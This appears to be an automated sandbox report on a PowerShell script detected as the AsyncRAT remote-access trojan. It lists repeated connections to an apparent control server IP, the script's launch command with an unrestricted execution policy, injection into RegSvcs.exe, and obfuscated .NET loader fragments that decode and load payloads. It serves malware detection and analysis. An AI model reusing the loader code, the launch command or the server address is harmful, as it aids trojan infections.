Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.155

Source: powershell.exe, 00000000.00000002.1504821903.000001AC25E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1483546758.000001AC15C31000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1483546758.000001AC15C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1483546758.000001AC163FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1504821903.000001AC25E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1483546758.000001AC1700A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.powershell.exe.1ac16030578.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.1ac16e49e40.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015EC2D8	4_2_015EC2D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015EB598	4_2_015EB598
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015E6498	4_2_015E6498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015E8618	4_2_015E8618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015E5BC8	4_2_015E5BC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015E5880	4_2_015E5880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015E0FA0	4_2_015E0FA0

Source: 0.2.powershell.exe.1ac16030578.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.1ac16e49e40.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, 8zNojDlPt46QazeXuL2Y6OFYWD4q0R1PB0Jr.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, 8zNojDlPt46QazeXuL2Y6OFYWD4q0R1PB0Jr.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, iHb4sM6YGQ9c4dJp0PcDcTbymDMrcNDmdcyptmWABN6esl0n9Gq730slwRvMQhBj9S7AVAKLOj0nx1lNlgFo1hvIZSqHt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winPS1@6/5@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\o8kSNczORMveFDjV
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5112:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzzekrex.fgy.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: mhqxUdpe7V.ps1	Virustotal: Detection: 9%
Source: mhqxUdpe7V.ps1	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.JAcwvugr7yueKabGzBseGV7hjHu3W5QkNTNx8sjM423vV0qUPhEfZ5MkLIEJU4xShmmuAovdOhpox4n3YIsmafGmDjbdd,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ._0L8f3WleevzcnPl9n2WNh7NW3wKOwPuy3tb1aRsXW0f6uDBis6nnThh3XPCCqA67oaXX8IvfAGwXsJMVtwgg9Ni2DmPT8,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.AXmSpip9Rgys9UoRCdGDlWOrb1oWCmZg9LzuKvf7aAgnKzemNYUyaBbirLIHk9vkM1Q5MLhWeOn1dI5xukaKG5mOVcOdq,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.pdozcqiNcmOnTnX1sUHm37yRWYhfKxfHJgJzzWfK4H9V6gQ9zRXQa28p93aV0bU5xPMwelYaDwx7MaHuT0cauWHxV6Umo,QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.ZUrIm4Kp1Nn4jNQE1iMoBcsuerfZEYytj3QZ()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{YEqzscG0zcPqbAz0DZOo4YlGXPhJyHTNqYyr[2],QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.sOh0Jlwra2Jn4MOGwAe1E2VHcq3RkFs1RAqN(Convert.FromBase64String(YEqzscG0zcPqbAz0DZOo4YlGXPhJyHTNqYyr[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.JAcwvugr7yueKabGzBseGV7hjHu3W5QkNTNx8sjM423vV0qUPhEfZ5MkLIEJU4xShmmuAovdOhpox4n3YIsmafGmDjbdd,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ._0L8f3WleevzcnPl9n2WNh7NW3wKOwPuy3tb1aRsXW0f6uDBis6nnThh3XPCCqA67oaXX8IvfAGwXsJMVtwgg9Ni2DmPT8,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.AXmSpip9Rgys9UoRCdGDlWOrb1oWCmZg9LzuKvf7aAgnKzemNYUyaBbirLIHk9vkM1Q5MLhWeOn1dI5xukaKG5mOVcOdq,BVATFifTpLLdrEgagPCqj07O4YZaqnifocDc1Ai582wi6IE85R4oo6JIyPcw0vYx9Cwp9Scj9TDAHeruFk2uBdYRexkOZ.pdozcqiNcmOnTnX1sUHm37yRWYhfKxfHJgJzzWfK4H9V6gQ9zRXQa28p93aV0bU5xPMwelYaDwx7MaHuT0cauWHxV6Umo,QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.ZUrIm4Kp1Nn4jNQE1iMoBcsuerfZEYytj3QZ()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{YEqzscG0zcPqbAz0DZOo4YlGXPhJyHTNqYyr[2],QaWqpUWtixIY480pbeOtn5Zr4D7gzBZcHLuj.sOh0Jlwra2Jn4MOGwAe1E2VHcq3RkFs1RAqN(Convert.FromBase64String(YEqzscG0zcPqbAz0DZOo4YlGXPhJyHTNqYyr[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: KU6ebjx3tSHR1sS58Bl74qLknJYhh6poBC0K System.AppDomain.Load(byte[])
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: ZXM1GiAbCs2MG58yBipqRw6sU19wHUENOsMn System.AppDomain.Load(byte[])
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: ZXM1GiAbCs2MG58yBipqRw6sU19wHUENOsMn
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: KU6ebjx3tSHR1sS58Bl74qLknJYhh6poBC0K System.AppDomain.Load(byte[])
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: ZXM1GiAbCs2MG58yBipqRw6sU19wHUENOsMn System.AppDomain.Load(byte[])
Source: 0.2.powershell.exe.1ac16e49e40.0.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	.Net Code: ZXM1GiAbCs2MG58yBipqRw6sU19wHUENOsMn

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF887A5A0B1 push cs; ret	0_2_00007FF887A5A0E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF887A56FDC push eax; iretd	0_2_00007FF887A56FDD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF887A5C752 pushfd ; ret	0_2_00007FF887A5C757
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF887A5AB3C push es; iretd	0_2_00007FF887A5AB67

Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, b02VErUOAyp7KgsN3bFDF2auprIqAGCLaGMp.cs	High entropy of concatenated method names: 'INkezmr6hizs7DYFjV4aAMMuO4B8vcIzpRzl', '_1UgweADLCOTyFcav1bCSPpZmBT2YjbCvAU2a', 'N38ShQwEPMzDIeuhJy4EphCuYO22ULsDR4AR', 'VQJXMcVFd751mpqtfhNss', 'MoXo9dtjQWauKcR4tF0QZ', '_9KThUWSyhPoAhybqdEEGn', 'ZOGHWakUiTGxpDEMxkgVq', 'VbdrNDJi8xPxLw2mCoL5G', 'ZDOPOAfhNiZba9q2wF0zk', 'gLT3eh2G9sbPPYX5MS02M'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, ecfzk1BLTMVYPDpfIlTKGWKme1YqqZGoyQ7Vc33TJphCOCCj76EqW1abpBIyhIQ4ZDwplcAJv1P6YGgTLqEZyNFN0Yjag.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'aBhmG8hesQRZx5swb8QklvJR7WenRTLT4PpJ', 'J3SeuSTYALTr3yfRGGRIng8jjRcOlYfMvoE8', 'EoOkNZdPQEWcWFnAib8PkZw6yS7hompPojzR', 'FJElkQ5aMB1hwH9O2Q9GR2Cz4GaNeyxzx8iv'
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack, YEvg1ghr5oE7q291wupcmyp3OMXXDn6VzNcS.cs	High entropy of concatenated method names: 'ACdeIzXseyPo4zWqWy02RazcDiWaeYEF3sMU', 'KU6ebjx3tSHR1sS58Bl74qLknJYhh6poBC0K', 'N1sexz3RI1DpSUs8sFctRkct2k71o6Dw5adn', 'UqsaOcNK4UPWrSnz315O3fHPN7hmKXXzM5ek', 'JVZHi2GrdZvpd6rLMCYrVVcMGmoHeoBq6p3H', 'pyZ9AMn9R81CWO7jWKyfev1oi7ghwwdSnb3i', 'qZ6RmsuveDKUm2nZ6abIPK0CPfRROfax8QwG', 'NKRNz1jRg2dg9416sbsJ9O1Prxh7Ujl233zE', 'ai8NTPVbOPHKdfOoapJOEteWyRNHxMPPWDhT', 'NvDSL0KgPKbgoTgffwjCGHfA0D7JbHNtdeDP'
